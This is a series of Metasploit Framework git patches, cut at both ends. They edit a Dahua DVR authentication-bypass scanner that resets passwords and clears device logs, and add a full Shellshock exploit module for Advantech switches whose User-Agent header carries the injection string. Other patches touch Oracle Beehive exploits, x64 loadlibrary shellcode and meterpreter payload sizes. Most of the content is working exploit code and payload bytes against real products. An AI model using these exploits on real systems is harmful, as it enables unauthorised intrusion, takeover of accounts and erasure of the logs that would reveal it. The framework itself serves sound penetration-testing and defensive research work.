++++++++++++------- 1 file changed, 12 insertions(+), 7 deletions(-) diff --git a/modules/auxiliary/scanner/misc/dahua_dvr_auth_bypass.rb b/modules/auxiliary/scanner/misc/dahua_dvr_auth_bypass.rb index 97ad3b2c6c..1c2f034e52 100644 --- a/modules/auxiliary/scanner/misc/dahua_dvr_auth_bypass.rb +++ b/modules/auxiliary/scanner/misc/dahua_dvr_auth_bypass.rb @@ -5,9 +5,9 @@ class Metasploit3 < Msf::Auxiliary def initialize super( - 'Name' => 'Dahua DVR Auth Bypas Scanner', - 'Version' => '$Revision: 1 $', - 'Description' => 'Scans for Dahua-based DVRs and then grabs settings. Optionally resets a user\'s password and clears the device logs', + 'Name' => %q(Dahua DVR Auth Bypass Scanner), + 'Version' => '$Revision: 1.1 $', + 'Description' => %q(Scans for Dahua-based DVRs and then grabs settings. Optionally resets a user's password and clears the device logs), 'Author' => [ 'Jake Reynolds - Depth Security', # Vulnerability Discoverer 'Tyler Bennett - Talos Infosec' # Metasploit Module @@ -20,12 +20,17 @@ class Metasploit3 < Msf::Auxiliary ) deregister_options('RHOST') register_options([ - OptString.new('USERNAME', [true, 'A username to reset', '888888']), - OptString.new('PASSWORD', [true, 'A password to reset the user with', 'abc123']), + OptString.new('USERNAME', [false, 'A username to reset', '888888']), + OptString.new('PASSWORD', [false, 'A password to reset the user with']), OptBool.new('RESET', [true, 'Reset an existing user\'s pw?', 'FALSE']), OptBool.new('CLEAR_LOGS', [true, 'Clear the DVR logs when we\'re done?', 'TRUE']), Opt::RPORT(37777) - ], self.class) + ]) + end + + def setup + @password = datastore['PASSWORD'] + @password ||= Rex::Text.rand_text_alpha(6) end def run_host(ip) @@ -195,7 +200,7 @@ class Metasploit3 < Msf::Auxiliary data.each { |val| print_status(" #{val[/(([\d]+)[:]([\w]+))/]}") } end if datastore['RESET'] - userstring = datastore['USERNAME'] + ":Intel:" + datastore['PASSWORD'] + ":" + datastore['PASSWORD'] + userstring = datastore['USERNAME'] + ":Intel:" + @password + ":" + @password u1 = "\xa4\x00\x00\x00\x00\x00\x00\x00\x1a\x00\x00\x00\x00\x00\x00\x00" \ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" u2 = "\xa4\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00" \ From 5e9a0ab3ff72d461b57cec9639ac536efcbe9f91 Mon Sep 17 00:00:00 2001 From: Tyler Bennett <tyler@talosinfosec.com> Date: Tue, 1 Dec 2015 10:57:16 -0500 Subject: [PATCH 1359/2172] removed version var in initialize method --- modules/auxiliary/scanner/misc/dahua_dvr_auth_bypass.rb | 1 - 1 file changed, 1 deletion(-) diff --git a/modules/auxiliary/scanner/misc/dahua_dvr_auth_bypass.rb b/modules/auxiliary/scanner/misc/dahua_dvr_auth_bypass.rb index 1c2f034e52..ee977219f6 100644 --- a/modules/auxiliary/scanner/misc/dahua_dvr_auth_bypass.rb +++ b/modules/auxiliary/scanner/misc/dahua_dvr_auth_bypass.rb @@ -6,7 +6,6 @@ class Metasploit3 < Msf::Auxiliary def initialize super( 'Name' => %q(Dahua DVR Auth Bypass Scanner), - 'Version' => '$Revision: 1.1 $', 'Description' => %q(Scans for Dahua-based DVRs and then grabs settings. Optionally resets a user's password and clears the device logs), 'Author' => [ 'Jake Reynolds - Depth Security', # Vulnerability Discoverer From 36f48dc945ff5bc15c56be20456769a2eecd7db1 Mon Sep 17 00:00:00 2001 From: Tyler Bennett <tyler@talosinfosec.com> Date: Tue, 1 Dec 2015 11:02:14 -0500 Subject: [PATCH 1360/2172] cleaned up required opts, only left needed vars to run the rest are optional based on user preference --- modules/auxiliary/scanner/misc/dahua_dvr_auth_bypass.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/auxiliary/scanner/misc/dahua_dvr_auth_bypass.rb b/modules/auxiliary/scanner/misc/dahua_dvr_auth_bypass.rb index ee977219f6..b95a15c239 100644 --- a/modules/auxiliary/scanner/misc/dahua_dvr_auth_bypass.rb +++ b/modules/auxiliary/scanner/misc/dahua_dvr_auth_bypass.rb @@ -21,8 +21,8 @@ class Metasploit3 < Msf::Auxiliary register_options([ OptString.new('USERNAME', [false, 'A username to reset', '888888']), OptString.new('PASSWORD', [false, 'A password to reset the user with']), - OptBool.new('RESET', [true, 'Reset an existing user\'s pw?', 'FALSE']), - OptBool.new('CLEAR_LOGS', [true, 'Clear the DVR logs when we\'re done?', 'TRUE']), + OptBool.new('RESET', [false, 'Reset an existing user\'s pw?', 'FALSE']), + OptBool.new('CLEAR_LOGS', [false, 'Clear the DVR logs when we\'re done?', 'TRUE']), Opt::RPORT(37777) ]) end From d5d4a4acdcd55510d2dcf82b021f0fcd63b1f7f4 Mon Sep 17 00:00:00 2001 From: wchen-r7 <wei_chen@rapid7.com> Date: Tue, 1 Dec 2015 10:21:15 -0600 Subject: [PATCH 1361/2172] Register the correct jsp to cleanup --- modules/exploits/windows/http/oracle_beehive_evaluation.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/windows/http/oracle_beehive_evaluation.rb b/modules/exploits/windows/http/oracle_beehive_evaluation.rb index 825ad0afe5..726b4817d7 100644 --- a/modules/exploits/windows/http/oracle_beehive_evaluation.rb +++ b/modules/exploits/windows/http/oracle_beehive_evaluation.rb @@ -81,7 +81,7 @@ class Metasploit3 < Msf::Exploit::Remote # Targeted path: # C:\oracle\product\2.0.1.0.0\beehive_2\j2ee\BEEAPP\applications\voice-servlet\voice-servlet\prompt-qa register_files_for_cleanup( - "../BEEAPP/applications/voice-servlet/voice-servlet/prompt-qa/vnjHm.jsp" + "../BEEAPP/applications/voice-servlet/voice-servlet/prompt-qa/#{stager_name}" ) From 2621753417da8ab00490efa3a5ad78873231e54d Mon Sep 17 00:00:00 2001 From: wchen-r7 <wei_chen@rapid7.com> Date: Tue, 1 Dec 2015 10:21:56 -0600 Subject: [PATCH 1362/2172] priv to true --- modules/exploits/windows/http/oracle_beehive_evaluation.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/windows/http/oracle_beehive_evaluation.rb b/modules/exploits/windows/http/oracle_beehive_evaluation.rb index 726b4817d7..19dbbe04ce 100644 --- a/modules/exploits/windows/http/oracle_beehive_evaluation.rb +++ b/modules/exploits/windows/http/oracle_beehive_evaluation.rb @@ -42,7 +42,7 @@ class Metasploit3 < Msf::Exploit::Remote [ ['Oracle Beehive 2', {}] ], - 'Privileged' => false, + 'Privileged' => true, 'DisclosureDate' => 'Jun 09 2010', 'DefaultTarget' => 0)) From ea363dd49565ff43b011b735c4e87315a811e406 Mon Sep 17 00:00:00 2001 From: wchen-r7 <wei_chen@rapid7.com> Date: Tue, 1 Dec 2015 10:23:36 -0600 Subject: [PATCH 1363/2172] priv to true --- .../exploits/windows/http/oracle_beehive_prepareaudiotoplay.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/windows/http/oracle_beehive_prepareaudiotoplay.rb b/modules/exploits/windows/http/oracle_beehive_prepareaudiotoplay.rb index 91f4637264..12a2318607 100644 --- a/modules/exploits/windows/http/oracle_beehive_prepareaudiotoplay.rb +++ b/modules/exploits/windows/http/oracle_beehive_prepareaudiotoplay.rb @@ -41,7 +41,7 @@ class Metasploit3 < Msf::Exploit::Remote [ ['Oracle Beehive 2', {}] ], - 'Privileged' => false, + 'Privileged' => true, 'DisclosureDate' => "Nov 10 2015", 'DefaultTarget' => 0)) From 16d0d531503c07a5c96929b9a704f212744c4634 Mon Sep 17 00:00:00 2001 From: HD Moore <hd_moore@rapid7.com> Date: Tue, 1 Dec 2015 10:40:46 -0600 Subject: [PATCH 1364/2172] Update Shellshock modules, add Advantech coverage --- .../scanner/http/apache_mod_cgi_bash_env.rb | 9 +- modules/auxiliary/server/dhclient_bash_env.rb | 14 +-- .../linux/advantech_switch_bash_env_exec.rb | 101 ++++++++++++++++++ .../multi/ftp/pureftpd_bash_env_exec.rb | 15 ++- .../http/apache_mod_cgi_bash_env_exec.rb | 12 ++- .../exploits/multi/http/cups_bash_env_exec.rb | 13 ++- .../osx/local/vmware_bash_function_root.rb | 14 +-- .../exploits/unix/dhcp/bash_environment.rb | 26 ++--- 8 files changed, 157 insertions(+), 47 deletions(-) create mode 100644 modules/exploits/linux/advantech_switch_bash_env_exec.rb diff --git a/modules/auxiliary/scanner/http/apache_mod_cgi_bash_env.rb b/modules/auxiliary/scanner/http/apache_mod_cgi_bash_env.rb index d0fe3e3dbe..6c0b87c217 100644 --- a/modules/auxiliary/scanner/http/apache_mod_cgi_bash_env.rb +++ b/modules/auxiliary/scanner/http/apache_mod_cgi_bash_env.rb @@ -13,11 +13,12 @@ class Metasploit4 < Msf::Auxiliary def initialize(info = {}) super(update_info(info, - 'Name' => 'Apache mod_cgi Bash Environment Variable RCE Scanner', + 'Name' => 'Apache mod_cgi Bash Environment Variable Injection (Shellshock) Scanner', 'Description' => %q{ - This module exploits a code injection in specially crafted environment - variables in Bash, specifically targeting Apache mod_cgi scripts through - the HTTP_USER_AGENT variable by default. + This module scans for the Shellshock vulnerability, a flaw in how the Bash shell + handles external environment variables. This module targets CGI scripts in the + Apache web server by setting the HTTP_USER_AGENT environment variable to a + malicious function definition. PROTIP: Use exploit/multi/handler with a PAYLOAD appropriate to your CMD, set ExitOnSession false, run -j, and then run this module to create diff --git a/modules/auxiliary/server/dhclient_bash_env.rb b/modules/auxiliary/server/dhclient_bash_env.rb index 79bc17ab4d..1441bd48c9 100644 --- a/modules/auxiliary/server/dhclient_bash_env.rb +++ b/modules/auxiliary/server/dhclient_bash_env.rb @@ -12,11 +12,13 @@ class Metasploit3 < Msf::Auxiliary def initialize super( - 'Name' => 'DHCP Client Bash Environment Variable Code Injection', + 'Name' => 'DHCP Client Bash Environment Variable Code Injection (Shellshock)', 'Description' => %q{ - This module exploits a code injection in specially crafted environment - variables in Bash, specifically targeting dhclient network configuration - scripts through the HOSTNAME, DOMAINNAME, and URL DHCP options. + This module exploits the Shellshock vulnerability, a flaw in how the Bash shell + handles external environment variables. This module targets dhclient by responding + to DHCP requests with a malicious hostname, domainname, and URL which are then + passed to the configuration scripts as environment variables, resulting in code + execution. }, 'Author' => [ @@ -40,8 +42,8 @@ class Metasploit3 < Msf::Auxiliary ['OSVDB', '112004'], ['EDB', '34765'], ['URL', 'https://securityblog.redhat.com/2014/09/24/bash-specially-crafted-environment-variables-code-injection-attack/'], - ['URL', 'http://seclists.org/oss-sec/2014/q3/649',], - ['URL', 'https://www.trustedsec.com/september-2014/shellshock-dhcp-rce-proof-concept/',] + ['URL', 'http://seclists.org/oss-sec/2014/q3/649'], + ['URL', 'https://www.trustedsec.com/september-2014/shellshock-dhcp-rce-proof-concept/'] ], 'DisclosureDate' => 'Sep 24 2014' ) diff --git a/modules/exploits/linux/advantech_switch_bash_env_exec.rb b/modules/exploits/linux/advantech_switch_bash_env_exec.rb new file mode 100644 index 0000000000..5cd419d49a --- /dev/null +++ b/modules/exploits/linux/advantech_switch_bash_env_exec.rb @@ -0,0 +1,101 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit4 < Msf::Exploit::Remote + Rank = ExcellentRanking + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Advantech Switch Bash Environment Variable Code Injection (Shellshock)', + 'Description' => %q{ + This module exploits the Shellshock vulnerability, a flaw in how the Bash shell + handles external environment variables. This module targets the 'ping.sh' CGI + script, acessible thruogh the Boa web server on Advantech switches. This module + was tested against firmware version 1322_D1.98. + }, + 'Author' => 'hdm', + 'References' => [ + ['CVE', '2014-6271'], + ['CWE', '94'], + ['OSVDB', '112004'], + ['EDB', '34765'], + ['URL', 'https://access.redhat.com/articles/1200223'], + ['URL', 'http://seclists.org/oss-sec/2014/q3/649'] + ], + 'Privileged' => false, + 'Arch' => ARCH_CMD, + 'Platform' => 'unix', + 'Payload' => + { + 'Space' => 1024, + 'BadChars' => "\x00\x0A\x0D", + 'DisableNops' => true, + 'Compat' => + { + 'PayloadType' => 'cmd', + 'RequiredCmd' => 'openssl generic' + } + }, + 'Targets' => [[ 'Automatic Targeting', { 'auto' => true } ]], + 'DefaultTarget' => 0, + 'License' => MSF_LICENSE, + 'DisclosureDate' => 'Dec 01 2015' + )) + register_options([ + Opt::RPORT(80), + OptBool.new('SSL', [ true, 'Use SSL', false]) + ], self.class) + end + + # + # CVE-2014-6271 + # + def cve_2014_6271(cmd) + %{() { :;}; $(#{cmd}) & } + end + + # + # Check credentials + # + def check + res = send_request_cgi( + 'method' => 'GET', + 'uri' => '/cgi-bin/ping.sh' + ) + if !res + vprint_error("#{peer} - No response from host") + return Exploit::CheckCode::Unknown + elsif res.headers['Server'] =~ /Boa\/(.*)/ + vprint_status("#{peer} - Found Boa version #{$1}") + else + print_status("#{peer} - Target is not a Boa web server") + return Exploit::CheckCode::Safe + end + + if res.body.to_s.index('127.0.0.1 ping statistics') + return Exploit::CheckCode::Detected + else + vprint_error("#{peer} - Target does not appear to be an Advantech switch") + return Expoit::CheckCode::Safe + end + end + + # + # Exploit + # + def exploit + cmd = cve_2014_6271(payload.raw) + vprint_status("#{peer} - Trying to run command '#{cmd}'") + res = send_request_cgi( + 'method' => 'GET', + 'uri' => '/cgi-bin/ping.sh', + 'agent' => cmd + ) + end + +end diff --git a/modules/exploits/multi/ftp/pureftpd_bash_env_exec.rb b/modules/exploits/multi/ftp/pureftpd_bash_env_exec.rb index 8abe07fe3e..65f3844fb8 100644 --- a/modules/exploits/multi/ftp/pureftpd_bash_env_exec.rb +++ b/modules/exploits/multi/ftp/pureftpd_bash_env_exec.rb @@ -13,15 +13,13 @@ class Metasploit4 < Msf::Exploit::Remote def initialize(info = {}) super(update_info(info, - 'Name' => 'Pure-FTPd External Authentication Bash Environment Variable Code Injection', + 'Name' => 'Pure-FTPd External Authentication Bash Environment Variable Code Injection (Shellshock)', 'Description' => %q( - This module exploits the code injection flaw known as Shellshock, which leverages specially - crafted environment variables in Bash. - - Please note that this exploit specifically targets Pure-FTPd compiled with the --with-extauth - flag, and an external Bash program for authentication. If the server is not set up this way, - understand that even if the operating system is vulnerable to Shellshock, it cannot be - exploited via Pure-FTPd. + This module exploits the Shellshock vulnerability, a flaw in how the Bash shell + handles external environment variables. This module targets the Pure-FTPd FTP + server when it has been compiled with the --with-extauth flag and an external + Bash script is used for authentication. If the server is not set up this way, + the exploit will fail, even if the version of Bash in use is vulnerable. ), 'Author' => [ @@ -32,6 +30,7 @@ class Metasploit4 < Msf::Exploit::Remote 'References' => [ ['CVE', '2014-6271'], + ['CWE', '94'], ['OSVDB', '112004'], ['EDB', '34765'], ['URL', 'https://gist.github.com/jedisct1/88c62ee34e6fa92c31dc'], diff --git a/modules/exploits/multi/http/apache_mod_cgi_bash_env_exec.rb b/modules/exploits/multi/http/apache_mod_cgi_bash_env_exec.rb index 2e1d3f686f..dd6f99e68a 100644 --- a/modules/exploits/multi/http/apache_mod_cgi_bash_env_exec.rb +++ b/modules/exploits/multi/http/apache_mod_cgi_bash_env_exec.rb @@ -6,18 +6,19 @@ require 'msf/core' class Metasploit4 < Msf::Exploit::Remote - Rank = GoodRanking + Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager def initialize(info = {}) super(update_info(info, - 'Name' => 'Apache mod_cgi Bash Environment Variable Code Injection', + 'Name' => 'Apache mod_cgi Bash Environment Variable Code Injection (Shellshock)', 'Description' => %q{ - This module exploits a code injection in specially crafted environment - variables in Bash, specifically targeting Apache mod_cgi scripts through - the HTTP_USER_AGENT variable by default. + This module exploits the Shellshock vulnerability, a flaw in how the Bash shell + handles external environment variables. This module targets CGI scripts in the + Apache web server by setting the HTTP_USER_AGENT environment variable to a + malicious function definition. }, 'Author' => [ 'Stephane Chazelas', # Vulnerability discovery @@ -28,6 +29,7 @@ class Metasploit4 < Msf::Exploit::Remote 'References' => [ ['CVE', '2014-6271'], ['CVE', '2014-6278'], + ['CWE', '94'], ['OSVDB', '112004'], ['EDB', '34765'], ['URL', 'https://access.redhat.com/articles/1200223'], diff --git a/modules/exploits/multi/http/cups_bash_env_exec.rb b/modules/exploits/multi/http/cups_bash_env_exec.rb index 468b398f67..399846da49 100644 --- a/modules/exploits/multi/http/cups_bash_env_exec.rb +++ b/modules/exploits/multi/http/cups_bash_env_exec.rb @@ -6,16 +6,17 @@ require 'msf/core' class Metasploit4 < Msf::Exploit::Remote - Rank = GoodRanking + Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, - 'Name' => 'CUPS Filter Bash Environment Variable Code Injection', + 'Name' => 'CUPS Filter Bash Environment Variable Code Injection (Shellshock)', 'Description' => %q{ - This module exploits Shellshock, a post-authentication code injection vulnerability - in specially crafted environment variables in Bash. It specifically targets - CUPS filters through the PRINTER_INFO and PRINTER_LOCATION variables by default. + This module exploits the Shellshock vulnerability, a flaw in how the Bash shell + handles external environment variables. This module targets CUPS filters through + the PRINTER_INFO and PRINTER_LOCATION variables. A valid username and password is + required to exploit this vulnerability through CUPS. }, 'Author' => [ 'Stephane Chazelas', # Vulnerability discovery @@ -25,6 +26,8 @@ class Metasploit4 < Msf::Exploit::Remote 'References' => [ ['CVE', '2014-6271'], ['CVE', '2014-6278'], + ['CWE', '94'], + ['OSVDB', '112004'], ['EDB', '34765'], ['URL', 'https://access.redhat.com/articles/1200223'], ['URL', 'http://seclists.org/oss-sec/2014/q3/649'] diff --git a/modules/exploits/osx/local/vmware_bash_function_root.rb b/modules/exploits/osx/local/vmware_bash_function_root.rb index 351ba014ec..ff20c7fe02 100644 --- a/modules/exploits/osx/local/vmware_bash_function_root.rb +++ b/modules/exploits/osx/local/vmware_bash_function_root.rb @@ -15,10 +15,11 @@ class Metasploit3 < Msf::Exploit::Local def initialize(info={}) super(update_info(info, - 'Name' => 'OS X VMWare Fusion Privilege Escalation via Bash Environment Code Injection', + 'Name' => 'OS X VMWare Fusion Privilege Escalation via Bash Environment Code Injection (Shellshock)', 'Description' => %q{ - This abuses the bug in bash environment variables (CVE-2014-6271) to get - a suid binary inside of VMWare Fusion to launch our payload as root. + This module exploits the Shellshock vulnerability, a flaw in how the Bash shell + handles external environment variables. This module targets the VMWare Fusion + application, allowing an unprivileged local user to get root access. }, 'License' => MSF_LICENSE, 'Author' => @@ -30,9 +31,10 @@ class Metasploit3 < Msf::Exploit::Local ], 'References' => [ - [ 'CVE', '2014-6271' ], - [ 'OSVDB', '112004' ], - [ 'EDB', '34765' ] + ['CVE', '2014-6271'], + ['CWE', '94'], + ['OSVDB', '112004'], + ['EDB', '34765'] ], 'Platform' => 'osx', 'Arch' => [ ARCH_X86_64 ], diff --git a/modules/exploits/unix/dhcp/bash_environment.rb b/modules/exploits/unix/dhcp/bash_environment.rb index 09e5fa04f6..e3e6f56fad 100644 --- a/modules/exploits/unix/dhcp/bash_environment.rb +++ b/modules/exploits/unix/dhcp/bash_environment.rb @@ -13,19 +13,15 @@ class Metasploit3 < Msf::Exploit::Remote def initialize(info = {}) super(update_info(info, - 'Name' => 'Dhclient Bash Environment Variable Injection', + 'Name' => 'Dhclient Bash Environment Variable Injection (Shellshock)', 'Description' => %q| - When bash is started with an environment variable that begins with the - string "() {", that variable is treated as a function definition and - parsed as code. If extra commands are added after the function - definition, they will be executed immediately. When dhclient receives - an ACK that contains a domain name or hostname, they are passed to - configuration scripts as environment variables, allowing us to trigger - the bash bug. - - Because of the length restrictions and unusual networking scenario at - time of exploitation, we achieve code execution by echoing our payload - into /etc/crontab and clean it up when we get a shell. + This module exploits the Shellshock vulnerability, a flaw in how the Bash shell + handles external environment variables. This module targets dhclient by responding + to DHCP requests with a malicious hostname, domainname, and URL which are then + passed to the configuration scripts as environment variables, resulting in code + execution. Due to length restrictions and the unusual networking scenario at the + time of exploitation, this module achieves code execution by writing the payload + into /etc/crontab and then cleaning it up after a session is created. |, 'Author' => [ @@ -38,8 +34,12 @@ class Metasploit3 < Msf::Exploit::Remote 'References' => [ ['CVE', '2014-6271'], + ['CWE', '94'], ['OSVDB', '112004'], - ['EDB', '34765'] + ['EDB', '34765'], + ['URL', 'https://securityblog.redhat.com/2014/09/24/bash-specially-crafted-environment-variables-code-injection-attack/'], + ['URL', 'http://seclists.org/oss-sec/2014/q3/649'], + ['URL', 'https://www.trustedsec.com/september-2014/shellshock-dhcp-rce-proof-concept/'] ], 'Payload' => { From ea2174fc951e1f602a485c9e21a34deb173904cd Mon Sep 17 00:00:00 2001 From: HD Moore <hd_moore@rapid7.com> Date: Tue, 1 Dec 2015 10:59:12 -0600 Subject: [PATCH 1365/2172] Typo and switch from raw -> encoded --- modules/exploits/linux/advantech_switch_bash_env_exec.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/exploits/linux/advantech_switch_bash_env_exec.rb b/modules/exploits/linux/advantech_switch_bash_env_exec.rb index 5cd419d49a..932a57da13 100644 --- a/modules/exploits/linux/advantech_switch_bash_env_exec.rb +++ b/modules/exploits/linux/advantech_switch_bash_env_exec.rb @@ -15,7 +15,7 @@ class Metasploit4 < Msf::Exploit::Remote 'Description' => %q{ This module exploits the Shellshock vulnerability, a flaw in how the Bash shell handles external environment variables. This module targets the 'ping.sh' CGI - script, acessible thruogh the Boa web server on Advantech switches. This module + script, acessible through the Boa web server on Advantech switches. This module was tested against firmware version 1322_D1.98. }, 'Author' => 'hdm', @@ -89,7 +89,7 @@ class Metasploit4 < Msf::Exploit::Remote # Exploit # def exploit - cmd = cve_2014_6271(payload.raw) + cmd = cve_2014_6271(payload.encoded) vprint_status("#{peer} - Trying to run command '#{cmd}'") res = send_request_cgi( 'method' => 'GET', From 758e7c7b58e749f56a0355cea3b6f4f2f71ad889 Mon Sep 17 00:00:00 2001 From: HD Moore <hd_moore@rapid7.com> Date: Tue, 1 Dec 2015 11:33:45 -0600 Subject: [PATCH 1366/2172] Rename --- .../exploits/linux/{ => http}/advantech_switch_bash_env_exec.rb | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename modules/exploits/linux/{ => http}/advantech_switch_bash_env_exec.rb (100%) diff --git a/modules/exploits/linux/advantech_switch_bash_env_exec.rb b/modules/exploits/linux/http/advantech_switch_bash_env_exec.rb similarity index 100% rename from modules/exploits/linux/advantech_switch_bash_env_exec.rb rename to modules/exploits/linux/http/advantech_switch_bash_env_exec.rb From 9dbf7cb86c62228849ed923cff0ab3462029ff28 Mon Sep 17 00:00:00 2001 From: HD Moore <hd_moore@rapid7.com> Date: Tue, 1 Dec 2015 11:34:03 -0600 Subject: [PATCH 1367/2172] Remove the SSL option (not needed) --- modules/exploits/linux/http/advantech_switch_bash_env_exec.rb | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/modules/exploits/linux/http/advantech_switch_bash_env_exec.rb b/modules/exploits/linux/http/advantech_switch_bash_env_exec.rb index 932a57da13..a605b44922 100644 --- a/modules/exploits/linux/http/advantech_switch_bash_env_exec.rb +++ b/modules/exploits/linux/http/advantech_switch_bash_env_exec.rb @@ -47,8 +47,7 @@ class Metasploit4 < Msf::Exploit::Remote 'DisclosureDate' => 'Dec 01 2015' )) register_options([ - Opt::RPORT(80), - OptBool.new('SSL', [ true, 'Use SSL', false]) + Opt::RPORT(80) ], self.class) end From 385378f3384ba8c30005a868880082329739fdbe Mon Sep 17 00:00:00 2001 From: James Lee <egypt@metasploit.com> Date: Tue, 1 Dec 2015 11:32:07 -0600 Subject: [PATCH 1368/2172] Add reference to Rapid7 advisory --- modules/exploits/linux/http/advantech_switch_bash_env_exec.rb | 1 + 1 file changed, 1 insertion(+) diff --git a/modules/exploits/linux/http/advantech_switch_bash_env_exec.rb b/modules/exploits/linux/http/advantech_switch_bash_env_exec.rb index a605b44922..54a1b3bd45 100644 --- a/modules/exploits/linux/http/advantech_switch_bash_env_exec.rb +++ b/modules/exploits/linux/http/advantech_switch_bash_env_exec.rb @@ -24,6 +24,7 @@ class Metasploit4 < Msf::Exploit::Remote ['CWE', '94'], ['OSVDB', '112004'], ['EDB', '34765'], + ['URL', 'https://community.rapid7.com/community/infosec/blog/2015/12/01/r7-2015-25-advantech-eki-multiple-known-vulnerabilities'], ['URL', 'https://access.redhat.com/articles/1200223'], ['URL', 'http://seclists.org/oss-sec/2014/q3/649'] ], From 2348cb73741f64d6a3fd325d4579266388b0bc19 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan_vazquez@rapid7.com> Date: Tue, 1 Dec 2015 11:41:37 -0600 Subject: [PATCH 1369/2172] Update loadlibrary for 64 bits --- modules/payloads/singles/windows/x64/loadlibrary.rb | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/modules/payloads/singles/windows/x64/loadlibrary.rb b/modules/payloads/singles/windows/x64/loadlibrary.rb index f8ee8f6823..7812d45ff7 100644 --- a/modules/payloads/singles/windows/x64/loadlibrary.rb +++ b/modules/payloads/singles/windows/x64/loadlibrary.rb @@ -30,7 +30,7 @@ module Metasploit3 { 'Offsets' => { - 'EXITFUNC' => [ 228, 'V' ] + 'EXITFUNC' => [ 227, 'V' ] }, 'Payload' => "\xFC\x48\x83\xE4\xF0\xE8\xC8\x00\x00\x00\x41\x51\x41\x50\x52\x51" + @@ -46,10 +46,10 @@ module Metasploit3 "\x8B\x0C\x48\x44\x8B\x40\x1C\x49\x01\xD0\x41\x8B\x04\x88\x48\x01" + "\xD0\x41\x58\x41\x58\x5E\x59\x5A\x41\x58\x41\x59\x41\x5A\x48\x83" + "\xEC\x20\x41\x52\xFF\xE0\x58\x41\x59\x5A\x48\x8B\x12\xE9\x4F\xFF" + - "\xFF\xFF\x5D\x67\x48\x8D\x8D\x00\x01\x00\x00\x41\xBA\x4C\x77\x26" + - "\x07\xFF\xD5\xBB\xE0\x1D\x2A\x0A\x41\xBA\xA6\x95\xBD\x9D\xFF\xD5" + - "\x48\x83\xC4\x28\x3C\x06\x7C\x0A\x80\xFB\xE0\x75\x05\xBB\x47\x13" + - "\x72\x6F\x6A\x00\x59\x41\x89\xDA\xFF\xD5" + "\xFF\xFF\x5D\x48\x8D\x8D\xFF\x00\x00\x00\x41\xBA\x4C\x77\x26\x07" + + "\xFF\xD5\xBB\xE0\x1D\x2A\x0A\x41\xBA\xA6\x95\xBD\x9D\xFF\xD5\x48" + + "\x83\xC4\x28\x3C\x06\x7C\x0A\x80\xFB\xE0\x75\x05\xBB\x47\x13\x72" + + "\x6F\x6A\x00\x59\x41\x89\xDA\xFF\xD5" } )) register_options( From bfe81db9a552c88445d77eea036f77a72972b518 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan_vazquez@rapid7.com> Date: Tue, 1 Dec 2015 11:45:45 -0600 Subject: [PATCH 1370/2172] Update cached size --- modules/payloads/singles/windows/x64/loadlibrary.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/payloads/singles/windows/x64/loadlibrary.rb b/modules/payloads/singles/windows/x64/loadlibrary.rb index 7812d45ff7..8a8141c20b 100644 --- a/modules/payloads/singles/windows/x64/loadlibrary.rb +++ b/modules/payloads/singles/windows/x64/loadlibrary.rb @@ -9,7 +9,7 @@ require 'msf/core' module Metasploit3 - CachedSize = 314 + CachedSize = 313 include Msf::Payload::Windows include Msf::Payload::Single From 3b3b569d8edefb84e8b5d34644e587776362d62f Mon Sep 17 00:00:00 2001 From: Spencer McIntyre <zeroSteiner@gmail.com> Date: Tue, 1 Dec 2015 13:00:15 -0500 Subject: [PATCH 1371/2172] Fix payload CacheSize for current pymet --- modules/payloads/singles/python/meterpreter_bind_tcp.rb | 2 +- modules/payloads/singles/python/meterpreter_reverse_http.rb | 2 +- modules/payloads/singles/python/meterpreter_reverse_https.rb | 2 +- modules/payloads/singles/python/meterpreter_reverse_tcp.rb | 2 +- 4 files changed, 4 insertions(+), 4 deletions(-) diff --git a/modules/payloads/singles/python/meterpreter_bind_tcp.rb b/modules/payloads/singles/python/meterpreter_bind_tcp.rb index 395962145f..bf7069cef5 100644 --- a/modules/payloads/singles/python/meterpreter_bind_tcp.rb +++ b/modules/payloads/singles/python/meterpreter_bind_tcp.rb @@ -12,7 +12,7 @@ require 'msf/base/sessions/meterpreter_python' module Metasploit4 - CachedSize = 50226 + CachedSize = 49482 include Msf::Payload::Single include Msf::Payload::Python diff --git a/modules/payloads/singles/python/meterpreter_reverse_http.rb b/modules/payloads/singles/python/meterpreter_reverse_http.rb index 44369a42a9..5d518cf963 100644 --- a/modules/payloads/singles/python/meterpreter_reverse_http.rb +++ b/modules/payloads/singles/python/meterpreter_reverse_http.rb @@ -12,7 +12,7 @@ require 'msf/base/sessions/meterpreter_python' module Metasploit4 - CachedSize = 50190 + CachedSize = 49446 include Msf::Payload::Single include Msf::Payload::Python diff --git a/modules/payloads/singles/python/meterpreter_reverse_https.rb b/modules/payloads/singles/python/meterpreter_reverse_https.rb index efdecac0bc..58e0cd3185 100644 --- a/modules/payloads/singles/python/meterpreter_reverse_https.rb +++ b/modules/payloads/singles/python/meterpreter_reverse_https.rb @@ -12,7 +12,7 @@ require 'msf/base/sessions/meterpreter_python' module Metasploit4 - CachedSize = 50190 + CachedSize = 49446 include Msf::Payload::Single include Msf::Payload::Python diff --git a/modules/payloads/singles/python/meterpreter_reverse_tcp.rb b/modules/payloads/singles/python/meterpreter_reverse_tcp.rb index 7988da15eb..f4aabdd443 100644 --- a/modules/payloads/singles/python/meterpreter_reverse_tcp.rb +++ b/modules/payloads/singles/python/meterpreter_reverse_tcp.rb @@ -12,7 